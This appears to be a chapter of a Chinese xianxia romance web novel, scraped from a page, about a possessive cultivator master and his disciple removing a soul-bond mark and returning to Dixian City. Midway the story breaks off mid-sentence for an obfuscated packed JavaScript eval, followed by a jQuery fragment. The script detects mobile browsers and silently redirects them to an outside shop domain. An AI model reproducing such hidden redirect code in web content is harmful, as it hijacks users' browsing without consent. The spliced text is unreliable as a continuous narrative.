两人在帝仙城暂无落脚之处,帝仙城更是人多眼杂。
黎夙雪揽过她纤瘦的腰肢,蹲下勾住她腿弯处,将她抱入怀中,不多时两人便消失在了这无人的暗巷中。
尤妙泠因神魂上的热意,意识又些迷糊不清,她闭上眼咬着唇,无声地将头抵在他胸口处,任由他将她带离。
思来想去,黎夙雪还是抱着她回到了玉隐山巅,他落在自己洞府的寝殿前时,天已经黑了下来,他大步走近,踢开了寝殿的门。
殿门在他身后合上,殿内烛火也在瞬间亮起,他径直走入寝殿深处,抱着娇小柔软的少女弯下腰,动作轻柔,将她放在了床塌之上,“到了,妙泠。”
纤长的手指攥着他的衣袍,他没有强行挣开起身,只好两只手撑在了她身侧,俯看着她。
他半散的黑发自肩处滑落,铺散开在他身侧,先他一步贴上了少女的脖侧,与她蜿蜒曲转的发丝纠缠在一起。
尤妙泠睁眼后,映入眼帘的就是黎夙雪那张隽美如仙的脸。
现在看着倒是愈发可恨了。
回来的路上神魂上印记带给她的影响小了些,她立即将拉着他衣服的手松开,顺势推开他。
黎夙雪顺着她的力起身,坐在床边看她,“你为何会突然这般……”
尤妙泠意识仍处于朦胧不清的状态之中,她虚虚撑起些身体,透过床幔看去,一眼便认出了这是他的寝殿中。
帝仙城离天清宗离得也算天南地北了,她就算意识不清,但对时间的感知也还是有的,能那么快回来只有一种可能。
她声音温软,带着一丝惊奇地问:“你……突破了渡劫了?”
黎夙雪轻声应道:“是。”
尤妙泠神色恹恹,神魂之中印记给她的影响还没散去,她又将手中床褥攥紧几分。
好不甘心,此时她却没心情纠结修炼的事。
她语气虽有怒意,却带着温软的鼻音:“还不是你上次……神交……你做了什么你自己不清楚吗?”
黎夙雪没听清她话中那小声又模糊不清的两个字,不解地问:“上次什么?”
他望着她面色愈发红的脸,一双眼似含着水雾,唇更是红润温软,看起来像是他欺负了她般,令他脖颈凸起的喉峰焦渴地滑动一下。
尤妙泠察觉到印记的变化,更是气不过了,撑起身子,用了力气在他宛如神佛白玉的脸颊上扇了一掌,那张冷白的脸上留下霎时微红的指痕。
合该都是上次欠的,他现在都未有羞耻歉疚之意。
她被隐隐发烫的印记气得发颤,坦言问道:“上次神交时,你为何要在我神魂上留下道侣印?虽然未成,但你知不知道我如今会被你的心绪所影响!”
黎夙雪被她打得微微偏过头,听见她这话怔了怔。
道侣印,需两人心念契合,共同结下神魂之契。他上次亦是被那阵法所影响,许是无意识间留下的心念印记,她又跑得太快,他根本不知有这一事。
他掀起乌黑的眼睫,目光对上她含怒的双眸,又心虚地敛眸,维持着平静道:“我这就帮你抹除。”
尤妙泠闭眼,敞开识海:“那你来吧。”
黎夙雪看着毫无防备的她,俯身贴近,不敢再动他念,只贴上她眉心。
她的识海与他的全然不同,天水相接,澄澈清明。
上次他便知晓她神魂是多么的明亮干净,如今识海亦是如此,他可一眼看见她那落在水面上无精打采透着一丝粉意的光团。
尤妙泠感受到了他的靠近,他的神魂随着突破又强大了,也愈发冷了,连带着她识海的心湖之水都泛了霜,像是要结冰的样子。
黎夙雪自是也发现了这点,并未完全落到水面上,而是悬在一旁的空中,伸出手。
尤妙泠小心翼翼地飞过去,贴上他指尖的那刻,整个人如过电般,唤醒了上次那种可怖的酥麻感,伴着交织的寒热,令她浑身一颤,连带着她的身体都想逃离。
那离开一瞬,她纤长的后颈便被黎夙雪粗粝的大掌扣住,他嗓音微哑:“又想跑?印记还要不要抹除了?”
尤妙泠耳尖一热,定了定心神:“当然要,继续。”
识海内,黎夙雪也捧住了前面的光团,两人那剧烈的酥麻在两人之间扩散,令他心中生出隐秘的亢奋与干渴。
她难耐地娇哼声,令他眸色彻底阴沉了下来。
若是她提出想要完成彻底完成这道侣印,恐怕他现在也会毫不犹豫的答应,可偏偏她想抹除,他也没有理由拒绝。
他竭力克制住自己想要将她碾碎侵吞的占有之念,抬起指尖找到她神魂上他的魂印,指尖抚过,将那一缕遗落的魂印收回。
尤妙泠神魂之上骤然感觉一轻,可那汹涌的战栗感又将她淹没,连带着声音都生出颤音:“可以了……黎夙雪,你……该离开我的识海了。”
她没发觉他神魂的白光下,他眼中贪婪地迷恋,几息之后他才缓缓松了手,恍然若失地将神魂撤出她的识海。
尤妙泠睁开眼,酥麻的感觉还未完全散去,眼神涣散,颈侧被黎夙雪带着寒意的手微微摩挲着,令她不禁瑟缩一下。
“现在好些了吗?”黎夙雪偏冷的声线带着哑意,温声问道。
尤妙泠掀起眼睫,眼神水雾淡去,露出烛火映出的暖光,随后打落了黎夙雪扣着她后颈的手,拉远了距离,恹恹地了声:“嗯。”
黎夙雪的掌心失去了那令人上瘾的温热细腻的肌肤,在空中凝滞一瞬后,才收回了手,乌黑的眼睫无力地低垂着。
片刻后,他起身:“你先在此休息吧,我还要回一趟帝仙城。”
他去帝仙城原本就有事想找师兄玄净仙君商议,本想说完正事再找她,可恰巧又遇见了她,连正事都顾不上了。
他想离开,衣袍却被细长白皙的手指拉住,他朝床上之人看去。
“我也还要回去,你带我回来的,就得带我回去。”尤妙泠眨了眨眼。
她在帝仙城还没玩够呢。
黎夙雪垂眸思忖一瞬,有了决定,与其放任她在自己看不见的地方,不如将她带在身边,他微微颔首:“好,随我一同去也好。”
尤妙泠整理了一下发髻和衣裙跟了出去,就见他只在门口干等着,她扫过他周身:“华曦剑呢?”
黎夙雪未答,直接走到她身边,横着抱起了她,惹来怀中之人的一声轻呼。
尤妙泠猝不及防地腾空,下意识攀住了他的脖颈,诧异地道:“你这是做什么?”
她蹬了蹬腿,却引来更加用力地禁锢。
“我可没打算浪费时间在御剑上。”黎夙雪说完,便直接飞身而起,两人身形瞬间融入夜色之中。
尤妙泠抬眸,就是他冷硬的下颌和凸起的喉骨,她无聊地伸出指尖拨弄了一下,那喉骨脱离她指尖滑动了一下。
“别乱动。”冷冽的声音融进夜风从她上方传来。
她偏不,这账还没算完呢,那一巴掌怎够。
她恶劣地用了力,将那过于鼓起滑动的结摁了摁,她如愿地听见一声闷哼,翘起了唇角。
黎夙雪垂眸,望着怀中笑着得了趣的人,抿了抿唇。
恍惚间好似前世,她对他哪哪都感兴趣,像黏人的狸奴,兴致来了就围着他瞧,时不时就伸出手触碰他的脸和发丝。
喉间不断传来微痛的痒意,令他口舌微干,他无奈地闭眼,轻叹口气,还是用灵力制止了她毫无顾忌的动作。
尤妙泠不悦拧了拧眉:“你竟然用灵力?”
黎夙雪幽幽地道:“你也没说不能用。”
“那我现在说,不能用灵力。”
“晚了。”
尤妙泠轻哼一声,不再言语。
黎夙雪瞥她一眼,明显是又恼了,他试图哄人:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620568|202268||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“以后再让你摸,可好?”
摸?
尤妙泠气道:“谁要摸你!你有什么好摸的!全身又冷又硬!”
黎夙雪抿唇不再说话,他本就不擅哄人,这一点就炸的狸奴更是难哄的很。
两人至此无言。
而玉隐峰下未眠的两人发现了夜空中灵力波动,御剑慢慢地追了上去。
*
两人到了帝仙城后,恰好已是白昼。
尤妙泠默默地跟着黎夙雪去了天清宗落脚的府院,守门弟子自是为他领路到峰主单独的院落内,而她本应去弟子那边。
黎夙雪冷声开口:“她住我院中即可。”
那弟子自当遵从,直至他离开后,尤妙泠跟着黎夙雪进去后,却并未打算住在此处。
她伸手拦在他身前:“荷包还我。”
黎夙雪垂眸看她,眸色背着天光晦暗不明,却能清晰看出她眼中的恼怒。
他取出那青色荷包,在她眼前晃过,声音寒凉:“这个吗?”
尤妙泠顿时,双眼亮起,连唇角都扬起一丝轻快的弧度,她飞快点头:“是这个,快还我。”
她眼神追随着那荷包,丝毫没注意身前之人那乌黑的双眸沉得似深渊幽潭,眼底还含着一丝狠戾。
她只见捏着那荷包的指骨微动,荷包瞬间在空中化作了齑粉。
“你干什么!”尤妙泠彻底怒了,“这是我赢回来的!”
“怎么?这破荷包值得你那么生气吗?”黎夙雪冷道,语气丝毫没有愧疚可言。
尤妙泠直接凝出灵力朝他打去,被蓦地被他化解。
黎夙雪抓住了她的手,往他身前一拉,揽住了她的腰,眸色阴沉盯着她,淡声道:“我可是你师尊,你就因此想弑师吗?”
嫉恨一瞬间在他心中凝聚,却又被华曦剑意驱散,令他浑身一滞。
他刚刚竟险些生出心魔了。
“弑师又如何?”尤妙泠嘲弄道,又不是第一次了,可杀了他,她的灵石也没了,罢了,她挣动着道:“放开我。”
黎夙雪骤然回神,放开她,抿了抿唇,片刻后丢下句话,“你留在此处等我,此事今晚等我回来再说。”
不顾尤妙泠的回答,转身就消失在了原地,她冷哼一声,径直出去了。
谁要留在此处等他。
她独自一人在帝仙城中闲逛着,街边店铺摊贩上皆是她觉得有意思的好看好玩好吃之物。
她轻叹口气,将手中的用灵珠灵花所制的珠钗放下,这防御法器做得甚是精致实用,奈何她没钱。
这一幕却被一旁酒肆上的青衣男子收入眼中,或者说从她出现在这条街上时,那人的视线便落在了她恣意明艳的笑脸上。
尤妙泠倏地察觉到了落在她的视线,她蹙眉仰首望去,与酒肆楼上之人无声对峙片刻,耳边忽而传来一道只有她能听见的声音。
“诚邀姑娘上楼一叙,我请姑娘喝酒可好?”
她思忖片刻,还是去了,她不觉得季莫尘这样一个前辈大能,会对她做什么。
更何况她早想尝尝帝仙城的灵酒了。
只是没想到,这酒一喝就是一天。
天色暗了下来,月上柳梢,黎夙雪才与玄净仙君商议完事情。
他便立即回了那院中,院中安静无声更无一丝烛光,本应等他回来之人又消失了。
黎夙雪忽地自嘲地笑了一下,漆黑的双眸中照不进一丝光,他想起了她说过的话。
是了,她不会乖乖等他的,也不再会看着他,待在他身边。
他得去找她,找到她,将她拴在身边,寸步不离。
他眸光逐渐变得深幽,仿佛要将光都吞入其中。
黎夙雪高大修长的身影在这空荡荡的院落中站了一会,渡劫期强大的神魂瞬间悄无声息地笼罩全城,随后灵光闪过,他的身影消失在其中。